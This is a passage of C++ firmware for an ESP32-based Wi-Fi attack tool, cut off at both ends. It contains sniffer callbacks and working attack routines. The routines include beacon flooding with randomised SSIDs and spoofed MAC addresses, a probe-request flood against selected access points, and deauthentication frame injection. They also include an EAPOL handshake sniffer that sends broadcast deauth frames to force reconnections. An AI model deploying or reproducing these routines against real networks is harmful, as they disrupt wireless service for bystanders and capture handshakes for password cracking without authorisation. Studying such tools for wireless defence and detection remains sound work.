  1326. Serial.print((char)snifferPacket->payload[i + 38]);
  1327. display_string.concat((char)snifferPacket->payload[i + 38]);
  1328. essid.concat((char)snifferPacket->payload[i + 38]);
  1329. }
  1330. bssid.concat(addr);
  1331. int temp_len = display_string.length();
  1332. for (int i = 0; i < 40 - temp_len; i++)
  1333. {
  1334. display_string.concat(" ");
  1335. }
  1336. Serial.print(" ");
  1337. #ifdef HAS_SCREEN
  1338. if (display_obj.display_buffer->size() == 0)
  1339. {
  1340. display_obj.loading = true;
  1341. display_obj.display_buffer->add(display_string);
  1342. display_obj.loading = false;
  1343. }
  1344. #endif
  1345. if (essid == "") {
  1346. essid = bssid;
  1347. Serial.print(essid + " ");
  1348. }
  1349. AccessPoint ap = {essid,
  1350. snifferPacket->rx_ctrl.channel,
  1351. {snifferPacket->payload[10],
  1352. snifferPacket->payload[11],
  1353. snifferPacket->payload[12],
  1354. snifferPacket->payload[13],
  1355. snifferPacket->payload[14],
  1356. snifferPacket->payload[15]},
  1357. false,
  1358. NULL};
  1359. access_points->add(ap);
  1360. Serial.print(access_points->size());
  1361. Serial.println();
  1362. if (save_packet)
  1363. sd_obj.addPacket(snifferPacket->payload, len);
  1364. }
  1365. }
  1366. }
  1367. }
  1368. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1369. {
  1370. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1371. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1372. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1373. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1374. int len = snifferPacket->rx_ctrl.sig_len;
  1375. String display_string = "";
  1376. if (type == WIFI_PKT_MGMT)
  1377. {
  1378. len -= 4;
  1379. int fctl = ntohs(frameControl->fctl);
  1380. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1381. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1382. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1383. #ifdef HAS_SCREEN
  1384. int buf = display_obj.display_buffer->size();
  1385. #else
  1386. int buf = 0;
  1387. #endif
  1388. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1389. {
  1390. delay(random(0, 10));
  1391. Serial.print("RSSI: ");
  1392. Serial.print(snifferPacket->rx_ctrl.rssi);
  1393. Serial.print(" Ch: ");
  1394. Serial.print(snifferPacket->rx_ctrl.channel);
  1395. Serial.print(" BSSID: ");
  1396. char addr[] = "00:00:00:00:00:00";
  1397. getMAC(addr, snifferPacket->payload, 10);
  1398. Serial.print(addr);
  1399. display_string.concat(addr);
  1400. Serial.print(" ESSID: ");
  1401. display_string.concat(" -> ");
  1402. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1403. {
  1404. Serial.print((char)snifferPacket->payload[i + 38]);
  1405. display_string.concat((char)snifferPacket->payload[i + 38]);
  1406. }
  1407. int temp_len = display_string.length();
  1408. #ifdef HAS_SCREEN
  1409. for (int i = 0; i < 40 - temp_len; i++)
  1410. {
  1411. display_string.concat(" ");
  1412. }
  1413. Serial.print(" ");
  1414. if (display_obj.display_buffer->size() == 0)
  1415. {
  1416. display_obj.loading = true;
  1417. display_obj.display_buffer->add(display_string);
  1418. display_obj.loading = false;
  1419. }
  1420. #endif
  1421. Serial.println();
  1422. if (save_packet)
  1423. sd_obj.addPacket(snifferPacket->payload, len);
  1424. }
  1425. }
  1426. }
  1427. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1428. {
  1429. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1430. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1431. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1432. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1433. int len = snifferPacket->rx_ctrl.sig_len;
  1434. String display_string = "";
  1435. if (type == WIFI_PKT_MGMT)
  1436. {
  1437. len -= 4;
  1438. int fctl = ntohs(frameControl->fctl);
  1439. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1440. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1441. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1442. #ifdef HAS_SCREEN
  1443. int buf = display_obj.display_buffer->size();
  1444. #else
  1445. int buf = 0;
  1446. #endif
  1447. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1448. {
  1449. delay(random(0, 10));
  1450. Serial.print("RSSI: ");
  1451. Serial.print(snifferPacket->rx_ctrl.rssi);
  1452. Serial.print(" Ch: ");
  1453. Serial.print(snifferPacket->rx_ctrl.channel);
  1454. Serial.print(" BSSID: ");
  1455. char addr[] = "00:00:00:00:00:00";
  1456. getMAC(addr, snifferPacket->payload, 10);
  1457. Serial.print(addr);
  1458. display_string.concat(text_table4[0]);
  1459. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1460. display_string.concat(" ");
  1461. display_string.concat(addr);
  1462. #ifdef HAS_SCREEN
  1463. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1464. {
  1465. display_string.concat(" ");
  1466. }
  1467. Serial.print(" ");
  1468. if (display_obj.display_buffer->size() == 0)
  1469. {
  1470. display_obj.loading = true;
  1471. display_obj.display_buffer->add(display_string);
  1472. display_obj.loading = false;
  1473. }
  1474. #endif
  1475. Serial.println();
  1476. if (save_packet)
  1477. sd_obj.addPacket(snifferPacket->payload, len);
  1478. }
  1479. }
  1480. }
  1481. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1482. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1483. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1484. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1485. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1486. int len = snifferPacket->rx_ctrl.sig_len;
  1487. String display_string = "";
  1488. if (type == WIFI_PKT_MGMT)
  1489. {
  1490. len -= 4;
  1491. int fctl = ntohs(frameControl->fctl);
  1492. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1493. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1494. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1495. #ifdef HAS_SCREEN
  1496. int buf = display_obj.display_buffer->size();
  1497. #else
  1498. int buf = 0;
  1499. #endif
  1500. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1501. {
  1502. delay(random(0, 10));
  1503. Serial.print("RSSI: ");
  1504. Serial.print(snifferPacket->rx_ctrl.rssi);
  1505. Serial.print(" Ch: ");
  1506. Serial.print(snifferPacket->rx_ctrl.channel);
  1507. Serial.print(" Client: ");
  1508. char addr[] = "00:00:00:00:00:00";
  1509. getMAC(addr, snifferPacket->payload, 10);
  1510. Serial.print(addr);
  1511. display_string.concat(addr);
  1512. Serial.print(" Requesting: ");
  1513. display_string.concat(" -> ");
  1514. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1515. {
  1516. Serial.print((char)snifferPacket->payload[26 + i]);
  1517. display_string.concat((char)snifferPacket->payload[26 + i]);
  1518. }
  1519. // Print spaces because of the rotating lines of the hardware scroll.
  1520. // The same characters print from previous lines so I just overwrite them
  1521. // with spaces.
  1522. #ifdef HAS_SCREEN
  1523. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1524. {
  1525. display_string.concat(" ");
  1526. }
  1527. if (display_obj.display_buffer->size() == 0)
  1528. {
  1529. //while (display_obj.printing)
  1530. // delay(1);
  1531. display_obj.loading = true;
  1532. display_obj.display_buffer->add(display_string);
  1533. display_obj.loading = false;
  1534. }
  1535. #endif
  1536. Serial.println();
  1537. if (save_packet)
  1538. sd_obj.addPacket(snifferPacket->payload, len);
  1539. }
  1540. }
  1541. }
  1542. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1543. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1544. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1545. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1546. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1547. int len = snifferPacket->rx_ctrl.sig_len;
  1548. String display_string = "";
  1549. String essid = "";
  1550. bool found = false;
  1551. if (type == WIFI_PKT_MGMT)
  1552. {
  1553. len -= 4;
  1554. int fctl = ntohs(frameControl->fctl);
  1555. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1556. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1557. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1558. #ifdef HAS_SCREEN
  1559. int buf = display_obj.display_buffer->size();
  1560. #else
  1561. int buf = 0;
  1562. #endif
  1563. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1564. {
  1565. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1566. {
  1567. essid.concat((char)snifferPacket->payload[26 + i]);
  1568. }
  1569. for (int i = 0; i < ssids->size(); i++) {
  1570. if (ssids->get(i).essid == essid) {
  1571. Serial.println("Found a sheep");
  1572. found = true;
  1573. break;
  1574. }
  1575. }
  1576. if (!found)
  1577. return;
  1578. delay(random(0, 10));
  1579. Serial.print("RSSI: ");
  1580. Serial.print(snifferPacket->rx_ctrl.rssi);
  1581. Serial.print(" Ch: ");
  1582. Serial.print(snifferPacket->rx_ctrl.channel);
  1583. Serial.print(" Client: ");
  1584. char addr[] = "00:00:00:00:00:00";
  1585. getMAC(addr, snifferPacket->payload, 10);
  1586. Serial.print(addr);
  1587. display_string.concat(addr);
  1588. Serial.print(" Requesting: ");
  1589. display_string.concat(" -> ");
  1590. // ESSID
  1591. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1592. {
  1593. Serial.print((char)snifferPacket->payload[26 + i]);
  1594. display_string.concat((char)snifferPacket->payload[26 + i]);
  1595. }
  1596. // Print spaces because of the rotating lines of the hardware scroll.
  1597. // The same characters print from previous lines so I just overwrite them
  1598. // with spaces.
  1599. #ifdef HAS_SCREEN
  1600. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1601. {
  1602. display_string.concat(" ");
  1603. }
  1604. if (display_obj.display_buffer->size() == 0)
  1605. {
  1606. display_obj.loading = true;
  1607. display_obj.display_buffer->add(display_string);
  1608. display_obj.loading = false;
  1609. }
  1610. #endif
  1611. Serial.println();
  1612. if (save_packet)
  1613. sd_obj.addPacket(snifferPacket->payload, len);
  1614. }
  1615. }
  1616. }
  1617. /*
  1618. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  1619. set_channel = random(1,12);
  1620. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1621. delay(1);
  1622. // Randomize SRC MAC
  1623. packet[10] = packet[16] = custom_ssid.bssid[0];
  1624. packet[11] = packet[17] = custom_ssid.bssid[1];
  1625. packet[12] = packet[18] = custom_ssid.bssid[2];
  1626. packet[13] = packet[19] = custom_ssid.bssid[3];
  1627. packet[14] = packet[20] = custom_ssid.bssid[4];
  1628. packet[15] = packet[21] = custom_ssid.bssid[5];
  1629. char ESSID[custom_ssid.essid.length() + 1] = {};
  1630. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1631. }*/
  1632. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  1633. set_channel = random(1,12);
  1634. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1635. delay(1);
  1636. if (custom_ssid.beacon->size() == 0)
  1637. return;
  1638. // Randomize SRC MAC
  1639. // Randomize SRC MAC
  1640. packet[10] = packet[16] = random(256);
  1641. packet[11] = packet[17] = random(256);
  1642. packet[12] = packet[18] = random(256);
  1643. packet[13] = packet[19] = random(256);
  1644. packet[14] = packet[20] = random(256);
  1645. packet[15] = packet[21] = random(256);
  1646. char ESSID[custom_ssid.essid.length() + 1] = {};
  1647. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1648. int realLen = strlen(ESSID);
  1649. int ssidLen = random(realLen, 33);
  1650. int numSpace = ssidLen - realLen;
  1651. //int rand_len = sizeof(rand_reg);
  1652. int fullLen = ssidLen;
  1653. packet[37] = fullLen;
  1654. // Insert my tag
  1655. for(int i = 0; i < realLen; i++)
  1656. packet[38 + i] = ESSID[i];
  1657. for(int i = 0; i < numSpace; i++)
  1658. packet[38 + realLen + i] = 0x20;
  1659. /////////////////////////////
  1660. packet[50 + fullLen] = set_channel;
  1661. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1662. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1663. // Add everything that goes after the SSID
  1664. //for(int i = 0; i < 12; i++)
  1665. // packet[38 + fullLen + i] = postSSID[i];
  1666. packet[34] = custom_ssid.beacon->get(0);
  1667. packet[35] = custom_ssid.beacon->get(1);
  1668. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1669. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1670. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1671. packets_sent = packets_sent + 3;
  1672. }
  1673. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  1674. set_channel = random(1,12);
  1675. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1676. delay(1);
  1677. // Randomize SRC MAC
  1678. packet[10] = packet[16] = custom_ssid.bssid[0];
  1679. packet[11] = packet[17] = custom_ssid.bssid[1];
  1680. packet[12] = packet[18] = custom_ssid.bssid[2];
  1681. packet[13] = packet[19] = custom_ssid.bssid[3];
  1682. packet[14] = packet[20] = custom_ssid.bssid[4];
  1683. packet[15] = packet[21] = custom_ssid.bssid[5];
  1684. char ESSID[custom_ssid.essid.length() + 1] = {};
  1685. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1686. int ssidLen = strlen(ESSID);
  1687. //int rand_len = sizeof(rand_reg);
  1688. int fullLen = ssidLen;
  1689. packet[37] = fullLen;
  1690. // Insert my tag
  1691. for(int i = 0; i < ssidLen; i++)
  1692. packet[38 + i] = ESSID[i];
  1693. /////////////////////////////
  1694. packet[50 + fullLen] = set_channel;
  1695. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1696. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1697. // Add everything that goes after the SSID
  1698. for(int i = 0; i < 12; i++)
  1699. packet[38 + fullLen + i] = postSSID[i];
  1700. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1701. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1702. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1703. packets_sent = packets_sent + 3;
  1704. }
  1705. // Function to send beacons with random ESSID length
  1706. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  1707. set_channel = random(1,12);
  1708. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1709. delay(1);
  1710. // Randomize SRC MAC
  1711. packet[10] = packet[16] = random(256);
  1712. packet[11] = packet[17] = random(256);
  1713. packet[12] = packet[18] = random(256);
  1714. packet[13] = packet[19] = random(256);
  1715. packet[14] = packet[20] = random(256);
  1716. packet[15] = packet[21] = random(256);
  1717. int ssidLen = strlen(ESSID);
  1718. //int rand_len = sizeof(rand_reg);
  1719. int fullLen = ssidLen;
  1720. packet[37] = fullLen;
  1721. // Insert my tag
  1722. for(int i = 0; i < ssidLen; i++)
  1723. packet[38 + i] = ESSID[i];
  1724. /////////////////////////////
  1725. packet[50 + fullLen] = set_channel;
  1726. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1727. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1728. // Add everything that goes after the SSID
  1729. for(int i = 0; i < 12; i++)
  1730. packet[38 + fullLen + i] = postSSID[i];
  1731. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1732. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1733. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1734. packets_sent = packets_sent + 3;
  1735. }
  1736. // Function for sending crafted beacon frames
  1737. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  1738. set_channel = random(1,12);
  1739. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1740. delay(1);
  1741. // Randomize SRC MAC
  1742. packet[10] = packet[16] = random(256);
  1743. packet[11] = packet[17] = random(256);
  1744. packet[12] = packet[18] = random(256);
  1745. packet[13] = packet[19] = random(256);
  1746. packet[14] = packet[20] = random(256);
  1747. packet[15] = packet[21] = random(256);
  1748. packet[37] = 6;
  1749. // Randomize SSID (Fixed size 6. Lazy right?)
  1750. packet[38] = alfa[random(65)];
  1751. packet[39] = alfa[random(65)];
  1752. packet[40] = alfa[random(65)];
  1753. packet[41] = alfa[random(65)];
  1754. packet[42] = alfa[random(65)];
  1755. packet[43] = alfa[random(65)];
  1756. packet[56] = set_channel;
  1757. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1758. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1759. // Add everything that goes after the SSID
  1760. for(int i = 0; i < 12; i++)
  1761. packet[38 + 6 + i] = postSSID[i];
  1762. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1763. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1764. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1765. packets_sent = packets_sent + 3;
  1766. }
  1767. // Function to send probe flood to all "active" access points
  1768. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  1769. // Itterate through all access points in list
  1770. for (int i = 0; i < access_points->size(); i++) {
  1771. // Check if active
  1772. if (access_points->get(i).selected) {
  1773. this->set_channel = access_points->get(i).channel;
  1774. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1775. delay(1);
  1776. // Build packet
  1777. // Randomize SRC MAC
  1778. prob_req_packet[10] = random(256);
  1779. prob_req_packet[11] = random(256);
  1780. prob_req_packet[12] = random(256);
  1781. prob_req_packet[13] = random(256);
  1782. prob_req_packet[14] = random(256);
  1783. prob_req_packet[15] = random(256);
  1784. // Set SSID length
  1785. int ssidLen = access_points->get(i).essid.length();
  1786. //int rand_len = sizeof(rand_reg);
  1787. int fullLen = ssidLen;
  1788. prob_req_packet[25] = fullLen;
  1789. // Insert ESSID
  1790. char buf[access_points->get(i).essid.length() + 1] = {};
  1791. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  1792. for(int i = 0; i < ssidLen; i++)
  1793. prob_req_packet[26 + i] = buf[i];
  1794. /*
  1795. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  1796. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  1797. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  1798. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  1799. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  1800. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1801. 0x00, 0x00
  1802. */
  1803. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  1804. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  1805. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  1806. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  1807. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  1808. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1809. 0x00, 0x00, 0x00, 0x00};
  1810. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  1811. for (int i = 0; i < 26 + fullLen; i++)
  1812. good_probe_req_packet[i] = prob_req_packet[i];
  1813. for(int i = 0; i < 40; i++)
  1814. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  1815. // Send packet
  1816. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1817. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1818. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1819. packets_sent = packets_sent + 3;
  1820. }
  1821. }
  1822. }
  1823. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel) {
  1824. // Itterate through all access points in list
  1825. // Check if active
  1826. WiFiScan::set_channel = channel;
  1827. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  1828. delay(1);
  1829. // Build packet
  1830. deauth_frame_default[10] = bssid[0];
  1831. deauth_frame_default[11] = bssid[1];
  1832. deauth_frame_default[12] = bssid[2];
  1833. deauth_frame_default[13] = bssid[3];
  1834. deauth_frame_default[14] = bssid[4];
  1835. deauth_frame_default[15] = bssid[5];
  1836. deauth_frame_default[16] = bssid[0];
  1837. deauth_frame_default[17] = bssid[1];
  1838. deauth_frame_default[18] = bssid[2];
  1839. deauth_frame_default[19] = bssid[3];
  1840. deauth_frame_default[20] = bssid[4];
  1841. deauth_frame_default[21] = bssid[5];
  1842. // Send packet
  1843. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1844. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1845. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1846. packets_sent = packets_sent + 3;
  1847. }
  1848. void WiFiScan::sendDeauthAttack(uint32_t currentTime) {
  1849. // Itterate through all access points in list
  1850. for (int i = 0; i < access_points->size(); i++) {
  1851. // Check if active
  1852. if (access_points->get(i).selected) {
  1853. this->set_channel = access_points->get(i).channel;
  1854. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1855. delay(1);
  1856. // Build packet
  1857. deauth_frame_default[10] = access_points->get(i).bssid[0];
  1858. deauth_frame_default[11] = access_points->get(i).bssid[1];
  1859. deauth_frame_default[12] = access_points->get(i).bssid[2];
  1860. deauth_frame_default[13] = access_points->get(i).bssid[3];
  1861. deauth_frame_default[14] = access_points->get(i).bssid[4];
  1862. deauth_frame_default[15] = access_points->get(i).bssid[5];
  1863. deauth_frame_default[16] = access_points->get(i).bssid[0];
  1864. deauth_frame_default[17] = access_points->get(i).bssid[1];
  1865. deauth_frame_default[18] = access_points->get(i).bssid[2];
  1866. deauth_frame_default[19] = access_points->get(i).bssid[3];
  1867. deauth_frame_default[20] = access_points->get(i).bssid[4];
  1868. deauth_frame_default[21] = access_points->get(i).bssid[5];
  1869. // Send packet
  1870. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1871. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1872. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  1873. packets_sent = packets_sent + 3;
  1874. }
  1875. }
  1876. }
  1877. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1878. {
  1879. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1880. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1881. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1882. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1883. int len = snifferPacket->rx_ctrl.sig_len;
  1884. if (type == WIFI_PKT_MGMT)
  1885. {
  1886. len -= 4;
  1887. int fctl = ntohs(frameControl->fctl);
  1888. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1889. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1890. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1891. if (snifferPacket->payload[0] == 0x80)
  1892. {
  1893. num_beacon++;
  1894. }
  1895. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  1896. {
  1897. num_deauth++;
  1898. }
  1899. else if (snifferPacket->payload[0] == 0x40)
  1900. {
  1901. num_probe++;
  1902. }
  1903. if (save_packet)
  1904. sd_obj.addPacket(snifferPacket->payload, len);
  1905. }
  1906. }
  1907. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1908. {
  1909. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1910. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  1911. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1912. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1913. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1914. int len = snifferPacket->rx_ctrl.sig_len;
  1915. if (type == WIFI_PKT_MGMT)
  1916. {
  1917. len -= 4;
  1918. int fctl = ntohs(frameControl->fctl);
  1919. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1920. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1921. }
  1922. // Found beacon frame. Decide whether to deauth
  1923. if (send_deauth) {
  1924. if (snifferPacket->payload[0] == 0x80) {
  1925. // Build packet
  1926. uint8_t new_packet[26] = {
  1927. 0xc0, 0x00, 0x3a, 0x01,
  1928. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  1929. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1930. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1931. 0xf0, 0xff, 0x02, 0x00
  1932. };
  1933. new_packet[10] = snifferPacket->payload[10];
  1934. new_packet[11] = snifferPacket->payload[11];
  1935. new_packet[12] = snifferPacket->payload[12];
  1936. new_packet[13] = snifferPacket->payload[13];
  1937. new_packet[14] = snifferPacket->payload[14];
  1938. new_packet[15] = snifferPacket->payload[15];
  1939. new_packet[16] = snifferPacket->payload[10];
  1940. new_packet[17] = snifferPacket->payload[11];
  1941. new_packet[18] = snifferPacket->payload[12];
  1942. new_packet[19] = snifferPacket->payload[13];
  1943. new_packet[20] = snifferPacket->payload[14];
  1944. new_packet[21] = snifferPacket->payload[15];
  1945. // Send packet
  1946. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1947. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1948. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  1949. }
  1950. }
  1951. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  1952. num_eapol++;
  1953. Serial.println("Received EAPOL:");
  1954. for (int i = 0; i < len; i++) {
  1955. char hexCar[4];
  1956. sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  1957. Serial.print(hexCar);
  1958. //Serial.print(snifferPacket->payload[i], HEX);
  1959. if ((i + 1) % 16 == 0)
  1960. Serial.print("\n");
  1961. else
  1962. Serial.print(" ");
  1963. }
  1964. Serial.print("\n");
  1965. }
  1966. if (save_packet)
  1967. sd_obj.addPacket(snifferPacket->payload, len);
  1968. }
  1969. void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1970. {
  1971. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1972. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  1973. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1974. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1975. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1976. int len = snifferPacket->rx_ctrl.sig_len;
  1977. if (type == WIFI_PKT_MGMT)
  1978. {
  1979. len -= 4;
  1980. int fctl = ntohs(frameControl->fctl);
  1981. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
